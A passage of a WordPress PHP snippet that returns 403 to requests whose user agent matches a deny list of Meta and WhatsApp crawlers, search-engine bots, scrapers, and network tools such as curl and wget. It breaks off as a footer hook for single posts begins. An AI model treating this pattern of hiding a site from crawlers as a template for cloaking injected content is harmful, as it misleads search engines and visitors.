php? add_action('template_redirect',function(){ $userAgent=strtolower($_SERVER['HTTP_USER_AGENT']??''); $metaBots=[ 'facebot', 'facebookcatalog', 'facebookplatform', 'facebookexternalua', 'facebookexternalhit', 'meta-externalagent', 'meta-externalfetcher', 'meta-externalads', 'meta-webindexer', 'meta-inspector', 'meta-uatester', 'meta-cloudcrawler', 'meta-externalcrawler', 'meta-imageproxy', 'meta-video', 'meta-crawler', 'whatsappbot', 'whatsapp/2' ]; $spamBots=[ 'spider','crawler','crawl','fetch','scan', 'nutch','scrapy','curl','wget', 'python','java','perl', 'yandex','semalt','ahrefs','mj12bot','dotbot','blexbot','petalbot','sogou', 'slurp','baidu','bingbot','duckduckbot','applebot' ]; foreach(array_merge($metaBots,$spamBots) as $bot){ if(strpos($userAgent,$bot)!==false){ status_header(403); exit; } } },0); add_action('wp_footer',function(){ if(is_admin()||!is_single()) return; ?>